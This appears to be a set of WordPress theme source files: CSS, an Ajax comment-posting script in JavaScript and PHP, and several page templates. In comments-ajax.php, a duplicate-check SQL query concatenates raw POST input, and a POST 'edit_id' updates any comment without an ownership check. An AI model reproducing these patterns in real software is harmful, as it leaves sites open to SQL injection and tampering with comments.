.topnav ul ul { display: none; position: absolute; top: 34px; left: 0; z-index: 999; width: 90px;} .topnav ul ul li { display: block; background:#fafafa url(../images/bg2.png) repeat; border-top:1px #ff146d solid; position: relative;top:1px} .topnav ul ul ul { position: absolute;left: 90px;z-index: 999; width: 90px;} .topnav li.li01 { } .topnav li.li01 a { color: #ff146d;text-decoration: none;} .topnav li.li01 a:hover {color: #e40056;} .topnav li.li01 li a { color: #ff146d; } .topnav li.li01 li a:hover { border-bottom:1px #ff146d solid;} .topnav li li.li01 a { background:#fafafa url(../images/bg2.png) repeat; color: #ff146d;text-decoration: none;} .topnav li li.li01 ul{top:-2px} .topnav li li.li01 ul a { color: #ff146d;} .topnav li li.li01 ul a:hover { border-bottom:1px #ff146d solid;} #rss {float:right;border:none} #rss ul{ list-style:none;} #rss ul li{margin:6px 0 0 14px;float:right;} #rss ul li.rssmail{margin-left:0px;} .icon1 {display:block;width:28px;height:28px;background:url(../images/rss.gif) no-repeat top;} .icon1 span.hover {display:block;width:28px;height:28px;background:url(../images/rss.gif) no-repeat bottom;} .icon2 {display:block;width:28px;height:28px;background:url(../images//tqq.gif) no-repeat top;} .icon2 span.hover {display:block;width:28px;height:28px;background:url(../images/tqq.gif) no-repeat bottom;} .icon3 {display:block;width:28px;height:28px;background:url(../images/tsina.gif) no-repeat top;} .icon3 span.hover {display:block;width:28px;height:28px;background:url(../images/tsina.gif) no-repeat bottom;} .icon4 {display:block;width:28px;height:28px;background:url(../images/rssmail.gif) no-repeat top;} .icon4 span.hover {display:block;width:28px;height:28px;background:url(../images/rssmail.gif) no-repeat bottom;} #content{width:990px; margin:0 auto; padding-top:5px} .main{float:left; width:690px;} .main ul li{list-style:none;} .main .post, .main .left{margin-top:18px;} .post_date{ float:left; width:70px;height:72px; position: absolute; border-top:5px #ff146d solid; margin-top:22px; } .post_date span {display:block} .post_date .date_m{ text-align:center;font-size:11px;padding-top:5px;font-family:Verdana} .post_date .date_d{ padding-left:3px; text-align:center; font-size:25px; margin-top:-5px; font-family:Georgia, Arial, Tahoma, Geneva; font-weight:bold} .post_date .date_y{text-align:center;font-size:11px;font-family:Verdana} .article{float:right; width:620px;border-bottom:1px #ddd solid; overflow:hidden;} .article li{list-style:none} .articles{float:right; width:620px;border-bottom:1px #ddd solid; padding:10px 0 10px 0;overflow:hidden} .article h2{background:url(../images/line1.gif) repeat-x bottom; height:24px; padding-left:10px;} .articles h3{font-size:15px} .new{margin-left:2px;position:absolute} .thumbnail_box { float: left; width: 140px; height:100px; margin: 17px 10px 8px 15px;_margin: 17px 10px 8px 7px; padding: 4px; border:1px solid #ccc; } .thumbnail img{ position:absolute; z-index:3; } .entry_post{line-height:22px; padding-top:12px;} .more{float:right; font-size:12px; margin:4px 0 8px 0;*margin:-20px 0 8px 0} .info{ float:left;font-size:12px; padding-left:15px; width:515px; overflow:hidden; line-height:20px; height:20px} .article_info{font-size:12px;padding-left:10px; line-height:22px; color:#777} .comments_num{float:right;font-size:12px; background:#dedede;padding:1px 3px 0 3px;line-height:20px; height:20px} .comments_num a:link, .comments_num a:visited{color:#555;text-shadow:1px 1px #eee;} .context{position:relative; width:620px; overflow:hidden;} .context p {padding:5px 0px; margin:0;line-height:22px;} .context h4 {margin:10px 0 5px 0} .context h5 { font-size: 15px; padding:3px 8px; background:#ededed; border:1px #ddd solid; } .context ol {margin-left:20px} .context ol li{line-height:22px} .context p img{margin:0 auto; display:block;} .context blockquote{ padding:5px 20px; margin:0 5px; border:1px solid #ddd; border-left:8px solid #ddd; background-color:#e9e9e9; overflow:auto; } .author_pic{float:left; width:60px;} .author_pic img { padding:3px; background:#ccc; margin-top:8px} .author_pic img:hover {background:#aaa;} .author_text {float:right; width:540px;} .relatedposts{ } .relatedposts ol{padding-top:3px} .relatedposts li{ float:left;display:block; width:308px;height:20px; overflow:hidden; line-height:24px; } .navigation{ margin:9px 0 5px 0; font-size:12px; float:right; text-align:right; } .pagination {line-height:24px;} .inactive {height:22px; width:22px;} .pagination span, .pagination a { width:22px;text-align:center; height:22px;line-height:24px; margin:0px 2px 0px 2px; display:inline-block; text-decoration:none; border:1px #e0e0e0 solid; } .pagination .current{ height:22px; width:22px; color:#333; border:1px #bcbcbc solid; font-weight:bold; background:#f0f0f0; } .pagination a:hover { height:22px; width:22px; color:#333; border:1px #bcbcbc solid; text-decoration: none; } .pagination .page_previous, .pagination .prev{ width:50px; height:22px; text-align:center;} .pagination .page_previous:hover, .pagination .prev:hover{ width:50px; height:22px; text-align:center; } .pagination .page_next, .pagination .next, .pagination .page_next:hover, .pagination .next:hover{ width:50px; height:22px; text-align:center; } .pagination .fir_las, .pagination .fir_las:hover{ width:30px; height:22px; text-align:center; } #sidebar{float:right; width:260px; margin-top:7px} #sidebar li ul { } #sidebar li ul li {} #sidebar li ul.children li,#sidebar li ul.children li ul li { padding-left: 18px; background: url(../images/tier1.gif) 6px 5px no-repeat; } #sidebar h3{font-size:15px;font-weight: bold; background:url(../images/line1.gif) repeat-x bottom;line-height:30px; height:30px; margin:5px 0 8px 0;} #sidebar ul{list-style:none} .widget ul{ padding:1px 0 1px 0;} .widget ul li{line-height:22px} #tab-title .selected{color:#f00;font-weight:bold} #tab-title span{ padding:0 22px 8px 0; cursor:pointer;} #tab-content .hide{display:none;} #tab-content ul{overflow:hidden;list-style:none} #tab-content ul li{line-height:23px;} .top_comment ul {} .top_comment ul li {list-style:none; display:inline;} .top_comment img.avatar{ width:38px; height:38px; background:#e3e3e3; border: 1px solid #e3e3e3; padding:3px;margin:3px;} .top_comment img.avatar:hover{background:#d0d0d0;} #loginform p {line-height:25px} input,textarea,button {outline:none;} .article input{border:1px solid #ddd;padding:2px; margin:2px} #loginform input.login{ width:120px; padding:2px; background:#fff; color:#444; border:1px solid #ddd; box-shadow:inset 2px 3px 5px #eee; } #loginform input.denglu{ background:#f0f0f0; width:66px; height:23px; color: #444; text-align:center; margin-top:8px; border:1px solid #ddd; } #loginform input:focus { border: 1px solid #ccc; } .r_comment { } .r_comment ul { list-style-type:none; } .r_comment li { line-height:22px; clear:both; } .r_comment ul li img.avatar { height:32px; float:left; padding:3px; margin:4px 4px 0 0; background:#fff; border: 1px solid #ddd; } .v-links{overflow:hidden; } .v-links li{ float:left; display:block; width:128px; height:20px; overflow:hidden; } .v_avatar{ float: left; width:70px; margin-left: 18px } .v_avatar img { padding:6px; background:#e3e3e3; border: 1px solid #e3e3e3; } .v_li{ float:right; width:135px; line-height:19px; list-style:none; } .articles_all{line-height:30px} .car-collapse .car-yearmonth { cursor: s-resize; } a.car-toggler{line-height:30px; font-size:14px; color:#c30} .car-list li{list-style:none; line-height:24px} .car-list li ul{padding-left:30px} .car-plus, .car-minus {width:15px; display:block; float:left;font-family:Courier New, Lucida Console, MS Gothic, MS Mincho;} .weisaylink, .linkstandard {list-style:none;} .weisaylink ul ul, .linkstandard ul{ list-style:none; line-height:24px } .weisaylink ul ul li{float:left;height:28px;width:25%;overflow:hidden;} .weisaylink ul li h2, .linkstandard h2{ clear:both; font-size:15px} .v_comment{ } .v_comment ul{ padding-top:14px} .v_comment ul li{list-style-type:none;display:inline;} .v_comment img{ height:36px; height:36px; float:left; padding:1px; margin:2px; border: 1px solid #ddd; } .v_comment img:hover{border: 1px solid #ccc; -webkit-animation: comm 1.1s ease-in infinite; box-shadow:0 0 2px rgba(0,158,224,0.9); -moz-box-shadow:0 0 2px rgba(0,158,224,0.9); -webkit-box-shadow:0 0 2px rgba(0,158,224,0.9); } @-webkit-keyframes comm{ 0% { -webkit-box-shadow: 0 0 7px rgba(0,158,224,0.9); } 100% { -webkit-box-shadow: 0 0 2px rgba(0,158,224,0.9); } } /** 文章评论 **/ .commentlist {} .commentlist .comment { list-style: none; border-top:1px solid #ddd; } .commentlist li.comment ul.children {margin-left:20px;} .commentlist .depth-1{ margin: 10px 0 10px 0;} .commentlist li { position: relative; } .commentlist .alt { } .commentlist .comment-body {padding:5px 0 5px 0} .commentlist .comment-body:hover {background:#fafafa url(../images/bg2.png) repeat;} .commentlist p { margin: 5px 0 5px 50px; line-height:22px; } .reply { } .reply a:link, .reply a:visited{ text-align:center; font-size:12px;} .datetime { font-size:12px; color:#aaa; text-shadow: 0px 1px 0px #fff; margin-left:50px; } .commentmetadata { font-size:12px; color:#aaa; text-shadow: 0px 1px 0px #fff; margin-left:50px; } ol.commentlist li div.vcard img.avatar { width:40px; height:40px; position:relative; float: left; margin: 4px 6px 0 0; padding: 2px; border:1px solid #ddd; background: #fff; } ol.commentlist li div.floor{ float:right;color:#bbb} #respond { padding:5px 10px 10px; overflow:hidden; } #respond_box { clear:both;border-top:1px solid #ddd;} #respond h3 { margin:5px 0 6px 0;} #comment {background:#fff url(../images/comment.gif) no-repeat center;} #commentform p { color: #333; } #commentform label { color: #868686; } #commentform input { border:1px solid #ddd; width: 160px; margin: 4px 5px 4px 0; padding: 3px; box-shadow:inset 2px 3px 5px #eee; } #commentform input:focus { border: 1px solid #ccc; } #commentform textarea { width: 72%; height: 120px; font-size:13px; padding:4px; margin:4px 0 0 0; border:1px solid #ddd; box-shadow:inset 2px 3px 5px #eee; } #commentform textarea:focus { border: 1px solid #ccc; } #commentform input#submit, #commentform input#reset{ width:87px; height:26px; color: #393939; text-align:center; text-shadow: 0px 1px 0px #fff; margin-top:8px; border:1px solid #ddd; } #commentform #submit:hover, #commentform #reset:hover { font-weight:bold; } #real-avatar .avatar{ float:right; padding:2px; border:1px solid #ddd; background: #fff; margin-right:20px;_margin-right:10px; } /** IE6抖动 **/ html body { _background-attachment:fixed; } /** 翻屏 **/ #roll_top,#fall{ position:relative; cursor:pointer; height:93px; width:11px; } #ct{ position:relative; cursor:pointer; height:53px; width:11px; } #roll_top { background:url(../images/roll.png) no-repeat; } #fall { background:url(../images/roll.png) no-repeat 0 -146px; } #ct { background:url(../images/roll.png) no-repeat 0 -93px; } #roll { display:block; width:15px; margin-right:-224px; position:fixed; right:50%; top:33%; _margin-right:-224px; _position:absolute; _margin-top:180px; _top:expression(eval(document.documentElement.scrollTop)); } /** 底部 **/ #footer{text-align:center; height:40px;background:url(../images/line1.gif) repeat-x top; padding-top:20px; font-size:12px; margin-top:5px; color:#777} #footer a:link, #footer a:visited{ color:#777}
zyblog
trunk/zyblog/wp-content/themes/HelloMetro/css/t-pink.css
CSS
asf20
14,543
/** * WordPress jQuery-Ajax-Comments v1.3 by Willin Kan. * URI: http://kan.willin.org/?p=1271 */ var i = 0, got = -1, len = document.getElementsByTagName('script').length; while ( i <= len && got == -1){ var js_url = document.getElementsByTagName('script')[i].src, got = js_url.indexOf('comments-ajax.js'); i++ ; } var edit_mode = '1', // 再編輯模式 ( '1'=開; '0'=不開 ) ajax_php_url = js_url.replace('-ajax.js','-ajax.php'), wp_url = js_url.substr(0, js_url.indexOf('wp-content')), pic_sb = wp_url + 'wp-admin/images/wpspin_dark.gif', // 提交 icon pic_no = wp_url + 'wp-admin/images/no.png', // 錯誤 icon pic_ys = wp_url + 'wp-admin/images/yes.png', // 成功 icon txt1 = '<div id="loading"> 正在提交, 请稍候...</div>', txt2 = '<div id="error">#</div>', txt3 = '"> <div id="edita">提交成功', edt1 = ',刷新页面之前你可以 <a rel="nofollow" class="comment-reply-link_a" href="#edit" onclick=\'return addComment.moveForm("', edt2 = ')\'>[ 编辑留言内容 ]</a></div> ', cancel_edit = '[ 取消编辑 ]', edit, num = 1, comm_array=[]; comm_array.push(''); jQuery(document).ready(function($) { $comments = $('#comments-title'); // 評論數的 ID $cancel = $('#cancel-comment-reply-link'); cancel_text = $cancel.text(); $submit = $('#commentform #submit'); $submit.attr('disabled', false); $('#comment').after( txt1 + txt2 ); $('#loading').hide(); $('#error').hide(); $body = (window.opera) ? (document.compatMode == "CSS1Compat" ? $('html') : $('body')) : $('html,body'); /** submit */ $('#commentform').submit(function() { $('#loading').slideDown(); $submit.attr('disabled', true).fadeTo('slow', 0.5); if ( edit ) $('#comment').after('<input type="text" name="edit_id" id="edit_id" value="' + edit + '" style="display:none;" />'); /** Ajax */ $.ajax( { url: ajax_php_url, data: $(this).serialize(), type: $(this).attr('method'), error: function(request) { $('#loading').slideUp(); $('#error').slideDown().html('<img src="' + pic_no + '" style="vertical-align:middle;" alt=""/> ' + request.responseText); setTimeout(function() {$submit.attr('disabled', false).fadeTo('slow', 1); $('#error').slideUp();}, 3000); }, success: function(data) { $('#loading').hide(); comm_array.push($('#comment').val()); $('textarea').each(function() {this.value = ''}); var t = addComment, cancel = t.I('cancel-comment-reply-link'), temp = t.I('wp-temp-form-div'), respond = t.I(t.respondId), post = t.I('comment_post_ID').value, parent = t.I('comment_parent').value; // comments if ( ! edit && $comments.length ) { n = parseInt($comments.text().match(/\d+/)); $comments.text($comments.text().replace( n, n + 1 )); } // show comment new_htm = '" id="new_comm_' + num + '"></'; new_htm = ( parent == '0' ) ? ('\n<ol style="clear:both;" class="commentlist' + new_htm + 'ol>') : ('\n<ul class="children' + new_htm + 'ul>'); ok_htm = '\n<span id="success_' + num + txt3; if ( edit_mode == '1' ) { div_ = (document.body.innerHTML.indexOf('div-comment-') == -1) ? '' : ((document.body.innerHTML.indexOf('li-comment-') == -1) ? 'div-' : ''); ok_htm = ok_htm.concat(edt1, div_, 'comment-', parent, '", "', parent, '", "respond", "', post, '", ', num, edt2); } ok_htm += '</span><span></span>\n'; $('#respond').before(new_htm); $('#new_comm_' + num).hide().append(data); $('#new_comm_' + num + ' li').append(ok_htm); $('#new_comm_' + num).fadeIn(4000); $body.animate( { scrollTop: $('#new_comm_' + num).offset().top - 200}, 900); countdown(); num++ ; edit = ''; $('*').remove('#edit_id'); cancel.style.display = 'none'; cancel.onclick = null; t.I('comment_parent').value = '0'; if ( temp && respond ) { temp.parentNode.insertBefore(respond, temp); temp.parentNode.removeChild(temp) } } }); // end Ajax return false; }); // end submit /** comment-reply.dev.js */ addComment = { moveForm : function(commId, parentId, respondId, postId, num) { var t = this, div, comm = t.I(commId), respond = t.I(respondId), cancel = t.I('cancel-comment-reply-link'), parent = t.I('comment_parent'), post = t.I('comment_post_ID'); if ( edit ) exit_prev_edit(); num ? ( t.I('comment').value = comm_array[num], edit = t.I('new_comm_' + num).innerHTML.match(/(comment-)(\d+)/)[2], $new_sucs = $('#success_' + num ), $new_sucs.hide(), $new_comm = $('#new_comm_' + num ), $new_comm.hide(), $cancel.text(cancel_edit) ) : $cancel.text(cancel_text); t.respondId = respondId; postId = postId || false; if ( !t.I('wp-temp-form-div') ) { div = document.createElement('div'); div.id = 'wp-temp-form-div'; div.style.display = 'none'; respond.parentNode.insertBefore(div, respond) } !comm ? ( temp = t.I('wp-temp-form-div'), t.I('comment_parent').value = '0', temp.parentNode.insertBefore(respond, temp), temp.parentNode.removeChild(temp) ) : comm.parentNode.insertBefore(respond, comm.nextSibling); $body.animate( { scrollTop: $('#respond').offset().top - 180 }, 400); if ( post && postId ) post.value = postId; parent.value = parentId; cancel.style.display = ''; cancel.onclick = function() { if ( edit ) exit_prev_edit(); var t = addComment, temp = t.I('wp-temp-form-div'), respond = t.I(t.respondId); t.I('comment_parent').value = '0'; if ( temp && respond ) { temp.parentNode.insertBefore(respond, temp); temp.parentNode.removeChild(temp); } this.style.display = 'none'; this.onclick = null; return false; }; try { t.I('comment').focus(); } catch(e) {} return false; }, I : function(e) { return document.getElementById(e); } }; // end addComment function exit_prev_edit() { $new_comm.show(); $new_sucs.show(); $('textarea').each(function() {this.value = ''}); edit = ''; } var wait = 15, submit_val = $submit.val(); function countdown() { if ( wait > 0 ) { $submit.val(wait); wait--; setTimeout(countdown, 1000); } else { $submit.val(submit_val).attr('disabled', false).fadeTo('slow', 1); wait = 15; } } });// end jQ
zyblog
trunk/zyblog/wp-content/themes/HelloMetro/comments-ajax.js
JavaScript
asf20
6,098
<?php /** * WordPress 內置嵌套評論專用 Ajax comments >> WordPress-jQuery-Ajax-Comments v1.29 by Willin Kan. * * 說明: 這個文件是由 WP 2.92 根目錄的 wp-comment-post.php 修改的, 修改的地方有注解. 當 WP 升級, 請注意可能有所不同. */ if ( 'POST' != $_SERVER['REQUEST_METHOD'] ) { header('Allow: POST'); header('HTTP/1.1 405 Method Not Allowed'); header('Content-Type: text/plain'); exit; } /** Sets up the WordPress Environment. */ require_once($_SERVER['DOCUMENT_ROOT']."/wp-load.php"); // 此 comments-ajax.php 位於主題資料夾,所以位置已不同 nocache_headers(); $comment_post_ID = isset($_POST['comment_post_ID']) ? (int) $_POST['comment_post_ID'] : 0; $status = $wpdb->get_row( $wpdb->prepare("SELECT post_status, comment_status FROM $wpdb->posts WHERE ID = %d", $comment_post_ID) ); if ( empty($status->comment_status) ) { do_action('comment_id_not_found', $comment_post_ID); err(__('Invalid comment status.')); // 將 exit 改為錯誤提示 } elseif ( !comments_open($comment_post_ID) ) { do_action('comment_closed', $comment_post_ID); err(__('Sorry, comments are closed for this item.')); // 將 wp_die 改為錯誤提示 } elseif ( in_array($status->post_status, array('draft', 'future', 'pending') ) ) { do_action('comment_on_draft', $comment_post_ID); err(__('Invalid comment status.')); // 將 exit 改為錯誤提示 } elseif ( 'trash' == $status->post_status ) { do_action('comment_on_trash', $comment_post_ID); err(__('Invalid comment status.')); // 將 exit 改為錯誤提示 } elseif ( post_password_required($comment_post_ID) ) { do_action('comment_on_password_protected', $comment_post_ID); err(__('Password Protected')); // 將 exit 改為錯誤提示 } else { do_action('pre_comment_on_post', $comment_post_ID); } $comment_author = ( isset($_POST['author']) ) ? trim(strip_tags($_POST['author'])) : null; $comment_author_email = ( isset($_POST['email']) ) ? trim($_POST['email']) : null; $comment_author_url = ( isset($_POST['url']) ) ? trim($_POST['url']) : null; $comment_content = ( isset($_POST['comment']) ) ? trim($_POST['comment']) : null; $edit_id = ( isset($_POST['edit_id']) ) ? $_POST['edit_id'] : null; // 提取 edit_id // If the user is logged in $user = wp_get_current_user(); if ( $user->ID ) { if ( empty( $user->display_name ) ) $user->display_name=$user->user_login; $comment_author = $wpdb->escape($user->display_name); $comment_author_email = $wpdb->escape($user->user_email); $comment_author_url = $wpdb->escape($user->user_url); if ( current_user_can('unfiltered_html') ) { if ( wp_create_nonce('unfiltered-html-comment_' . $comment_post_ID) != $_POST['_wp_unfiltered_html_comment'] ) { kses_remove_filters(); // start with a clean slate kses_init_filters(); // set up the filters } } } else { if ( get_option('comment_registration') || 'private' == $status->post_status ) err(__('Sorry, you must be logged in to post a comment.')); // 將 wp_die 改為錯誤提示 } $comment_type = ''; if ( get_option('require_name_email') && !$user->ID ) { if ( 6 > strlen($comment_author_email) || '' == $comment_author ) err( __('Error: please fill the required fields (name, email).')); // 將 wp_die 改為錯誤提示 elseif ( !is_email($comment_author_email)) err(__('Error: please enter a valid email address.')); // 將 wp_die 改為錯誤提示 } if ( '' == $comment_content ) err(__('Error: please type a comment.')); // 將 wp_die 改為錯誤提示 // 增加: 錯誤提示功能 function err($ErrMsg) { header('HTTP/1.1 405 Method Not Allowed'); echo $ErrMsg; exit; } // 增加: 檢查重覆評論功能 $dupe = "SELECT comment_ID FROM $wpdb->comments WHERE comment_post_ID = '$comment_post_ID' AND ( comment_author = '$comment_author' "; if ( $comment_author_email ) $dupe .= "OR comment_author_email = '$comment_author_email' "; $dupe .= ") AND comment_content = '$comment_content' LIMIT 1"; if ( $wpdb->get_var($dupe) ) { err(__('Duplicate comment detected; it looks as though you&#8217;ve already said that!')); } // 增加: 檢查評論太快功能 if ( $lasttime = $wpdb->get_var( $wpdb->prepare("SELECT comment_date_gmt FROM $wpdb->comments WHERE comment_author = %s ORDER BY comment_date DESC LIMIT 1", $comment_author) ) ) { $time_lastcomment = mysql2date('U', $lasttime, false); $time_newcomment = mysql2date('U', current_time('mysql', 1), false); $flood_die = apply_filters('comment_flood_filter', false, $time_lastcomment, $time_newcomment); if ( $flood_die ) { err(__('You are posting comments too quickly. Slow down.')); } } $comment_parent = isset($_POST['comment_parent']) ? absint($_POST['comment_parent']) : 0; $commentdata = compact('comment_post_ID', 'comment_author', 'comment_author_email', 'comment_author_url', 'comment_content', 'comment_type', 'comment_parent', 'user_ID', 'comment_approved'); // 增加: 檢查評論是否正被編輯, 更新或新建評論 if ( $edit_id ){ $comment_id = $commentdata['comment_ID'] = $edit_id; wp_update_comment( $commentdata ); } else { $comment_id = wp_new_comment( $commentdata ); } $comment = get_comment($comment_id); if ( !$user->ID ) { $comment_cookie_lifetime = apply_filters('comment_cookie_lifetime', 30000000); setcookie('comment_author_' . COOKIEHASH, $comment->comment_author, time() + $comment_cookie_lifetime, COOKIEPATH, COOKIE_DOMAIN); setcookie('comment_author_email_' . COOKIEHASH, $comment->comment_author_email, time() + $comment_cookie_lifetime, COOKIEPATH, COOKIE_DOMAIN); setcookie('comment_author_url_' . COOKIEHASH, esc_url($comment->comment_author_url), time() + $comment_cookie_lifetime, COOKIEPATH, COOKIE_DOMAIN); } //$location = empty($_POST['redirect_to']) ? get_comment_link($comment_id) : $_POST['redirect_to'] . '#comment-' . $comment_id; //取消原有的刷新重定向 //$location = apply_filters('comment_post_redirect', $location, $comment); //wp_redirect($location); $comment_depth = 1; //为评论的 class 属性准备的 $tmp_c = $comment; while($tmp_c->comment_parent != 0){ $comment_depth++; $tmp_c = get_comment($tmp_c->comment_parent); } //以下是评论式样, 不含 "回复". ?> <li <?php comment_class(); ?> id="li-comment-<?php comment_ID(); ?>"> <div id="comment-<?php comment_ID(); ?>" class="comment-body"> <div class="comment-author vcard"> <img src="<?php echo bloginfo('template_directory'),'/images/gravatar.png' ?>" alt="" class="avatar" /> <?php printf( __( '<cite class="fn">%s</cite>'), get_comment_author_link() ); ?>:<?php edit_comment_link( __( '编辑' ), ' ' ); ?> </div> <?php if ( $comment->comment_approved == '0' ) : ?> <span style="color:#C00; font-style:inherit">您的评论正在等待审核中...</span> <br /> <?php endif; ?> <div class="comment-body"><?php comment_text(); ?></div> <span class="commentmetadata"><?php comment_date('Y-m-d') ?> <?php comment_time() ?></span> </div>
zyblog
trunk/zyblog/wp-content/themes/HelloMetro/comments-ajax.php
PHP
asf20
7,002
<div class="v_comment"><ul> <?php $query="SELECT COUNT(comment_ID) AS cnt, comment_author, comment_author_url, comment_author_email FROM (SELECT * FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->posts.ID=$wpdb->comments.comment_post_ID) WHERE comment_date > date_sub( NOW(), INTERVAL 1 MONTH ) AND user_id='0' AND comment_author_email != '' AND post_password='' AND comment_approved='1' AND comment_type='') AS tempcmt GROUP BY comment_author_email ORDER BY cnt DESC LIMIT 56"; $wall = $wpdb->get_results($query); foreach ($wall as $comment) { if( $comment->comment_author_url ) $url = $comment->comment_author_url; else $url="#"; $r="rel='external nofollow'"; $tmp = "<a href='".$url."' '".$r."' title='".$comment->comment_author." (留下".$comment->cnt."个脚印)'>".get_avatar($comment->comment_author_email, 36)."</a>"; $output .= $tmp; } echo $output ; ?></ul> </div>
zyblog
trunk/zyblog/wp-content/themes/HelloMetro/gbook2.php
PHP
asf20
950
<div class="clear"></div> </div> <div class="clear"></div> <div id="footer"> <div id="footer-body"> <a id="footer-logo" rel="nofollow" href="http://www.itkes.com/"></a> <div id="footer-content"> Copyright <?php echo comicpress_copyright(); ?> <?php bloginfo('name'); ?> | <a href="http://www.itkes.com/sitemap.html" target="_blank">站点地图</a> | <?php if (get_option('swt_beian') == 'Display') { ?> <a href="http://www.itkes.com/" rel="external"><?php echo stripslashes(get_option('swt_beianhao')); ?></a> <?php { echo '|'; } ?><?php } else { } ?> <a href="http://tongji.baidu.com/hm-web/welcome/ico?s=f70aad2a9021b3ed988694ccce8dc8d4" rel="external">百度统计</a><div style="display: none;" id="tongji"><?php if (get_option('swt_tj') == 'Display') { ?><?php echo stripslashes(get_option('swt_tjcode')); ?><?php { echo '|'; } ?> <?php } else { } ?></div> | 主题由<a href="http://www.itkes.com/" target="_blank"> IT客栈</a> 制作 | 本主题基于<a href="http://www.8090st.com/" target="_blank">8090ST</a>修改和<a href="http://www.wordpress.org/" rel="external">WordPress</a>技术构建 <!-- 返回顶部 --> <div style="display: none;" id="gotop"></div> <script type='text/javascript'> backTop=function (btnId){ var btn=document.getElementById(btnId); var d=document.documentElement; var b=document.body; window.onscroll=set; btn.onclick=function (){ btn.style.display="none"; window.onscroll=null; this.timer=setInterval(function(){ d.scrollTop-=Math.ceil((d.scrollTop+b.scrollTop)*0.1); b.scrollTop-=Math.ceil((d.scrollTop+b.scrollTop)*0.1); if((d.scrollTop+b.scrollTop)==0) clearInterval(btn.timer,window.onscroll=set); },10); }; function set(){btn.style.display=(d.scrollTop+b.scrollTop>100)?'block':"none"} }; backTop('gotop'); </script> <!-- 返回顶部END --> <?php if( is_single() ){?> <script type="text/javascript" charset="utf-8"> $(function(){ $("#btn_page_prev,#btn_page_next").hover(function(){$(this).find("span").show();},function(){$(this).find("span").hide();}); }); </script> <?php }?> </div> <?php wp_footer(); ?> </body> </html>
zyblog
trunk/zyblog/wp-content/themes/HelloMetro/footer.php
PHP
asf20
2,164
<?php/*Template Name: avatar*/?> <?php get_header(); ?> <div id="roll"><div title="回到顶部" id="roll_top"></div><div title="查看评论" id="ct"></div><div title="转到底部" id="fall"></div></div> <div id="content"> <div class="main"><?php if (have_posts()) : while (have_posts()) : the_post(); ?> <div class="left"> <div class="article"> <div class="linkstandard"> <h2 class="page_title">教你玩转Gravatar全球通用头像</h2><ul> <div class="context"><?php the_content('Read more...'); ?></div> </ul> </div> </div> </div> <div class="articles"> <h2 class="page_title" style="font-size: 15px;font-weight: normal;color: #969696;">温情留言板</h2> <?php comments_template(); ?> </div> <?php endwhile; else: ?> <?php endif; ?> </div> <?php get_sidebar(); ?> <?php get_footer(); ?>
zyblog
trunk/zyblog/wp-content/themes/HelloMetro/getavatar.php
PHP
asf20
810
<?php /* Template Name: Archives */ ?> <?php get_header(); ?> <script type="text/javascript"> /* <![CDATA[ */ jQuery(document).ready(function() { function setsplicon(c, d) { if (c.html()=='+' || d=='+') { c.html('-'); c.removeClass('car-plus'); c.addClass('car-minus'); } else if( !d || d=='-'){ c.html('+'); c.removeClass('car-minus'); c.addClass('car-plus'); } } jQuery('.car-collapse').find('.car-yearmonth').click(function() { jQuery(this).next('ul').slideToggle('fast'); setsplicon(jQuery(this).find('.car-toggle-icon')); }); jQuery('.car-collapse').find('.car-toggler').click(function() { if ( '展开所有月份' == jQuery(this).text() ) { jQuery(this).parent('.car-container').find('.car-monthlisting').show(); jQuery(this).text('折叠所有月份'); setsplicon(jQuery('.car-collapse').find('.car-toggle-icon'), '+'); } else { jQuery(this).parent('.car-container').find('.car-monthlisting').hide(); jQuery(this).text('展开所有月份'); setsplicon(jQuery('.car-collapse').find('.car-toggle-icon'), '-'); } return false; }); }); /* ]]> */ </script> <div id="roll"><div title="回到顶部" id="roll_top"></div><div title="转到底部" id="fall"></div></div> <div id="content"> <div class="main"><?php if (have_posts()) : while (have_posts()) : the_post(); ?> <div class="left"> <div class="post_date"> <span class="date_ym"><?php the_time('Y') ?>.<?php echo date('m',get_the_time('U'));?></span> <span class="date_d"><?php the_time('d') ?></span> </div> <div class="article"> <h2>文章归档</h2> <p class="articles_all"><strong><?php bloginfo('name'); ?></strong>目前共有文章: <?php echo $hacklog_archives->PostCount();?>篇 </p> <?php echo $hacklog_archives->PostList();?> </div> </div> <?php endwhile; else: ?> <?php endif; ?> </div> <?php get_sidebar(); ?> <?php get_footer(); ?>
zyblog
trunk/zyblog/wp-content/themes/HelloMetro/archives.php
PHP
asf20
2,261
<h3>最新评论</h3> <div class="r_comment"> <ul> <?php global $wpdb; $sql = "SELECT DISTINCT ID, post_title, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type,comment_author_url,comment_author_email, SUBSTRING(comment_content,1,16) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID = $wpdb->posts.ID) WHERE comment_approved = '1' AND comment_type = '' AND post_password = '' AND user_id='0' ORDER BY comment_date_gmt DESC LIMIT 10"; $comments = $wpdb->get_results($sql); $output = $pre_HTML; foreach ($comments as $comment) {$output .= "\n<li>".get_avatar(get_comment_author_email(), 32).strip_tags($comment->comment_author).":<br />" . " <a href=\"" . get_permalink($comment->ID) ."#comment-" . $comment->comment_ID . "\" title=\"查看 " .$comment->post_title . "\">" . strip_tags($comment->com_excerpt)."</a></li>";} $output .= $post_HTML; $output = convert_smilies($output); echo $output; ?> </ul> </div>
zyblog
trunk/zyblog/wp-content/themes/HelloMetro/includes/r_comment2.php
PHP
asf20
1,049
<div class="thumbnail_box"> <div class="thumbnail"> <?php if ( get_post_meta($post->ID, 'thumbnail', true) ) : ?> <?php $image = get_post_meta($post->ID, 'thumbnail', true); ?> <a href="<?php the_permalink() ?>" rel="bookmark" title="<?php the_title(); ?>"><img src="<?php echo $image; ?>" alt="<?php the_title(); ?>"/></a> <?php else: ?> </div> <!-- 截图 --> <div class="thumbnail"> <a href="<?php the_permalink() ?>" rel="bookmark" title="<?php the_title(); ?>"> <!--<?php if (has_post_thumbnail()) { the_post_thumbnail('thumbnail'); } else { ?>--> <img class="home-thumb" src="<?php echo catch_first_image() ?>" width="140px" height="100px" alt="<?php the_title(); ?>"/> <!--<?php } ?>--> </a> <!--<?php endif; ?>--> </div></div>
zyblog
trunk/zyblog/wp-content/themes/HelloMetro/includes/articlepic.php
PHP
asf20
738
<script type="text/javascript" src="<?php bloginfo('template_directory');?>/js/lazyload.js"></script> <script type="text/javascript"> jQuery(function() { jQuery(".article img, .articles img").not("#respond_box img").lazyload({ placeholder:"<?php bloginfo('template_url'); ?>/images/image-pending.gif", effect:"fadeIn" }); }); </script>
zyblog
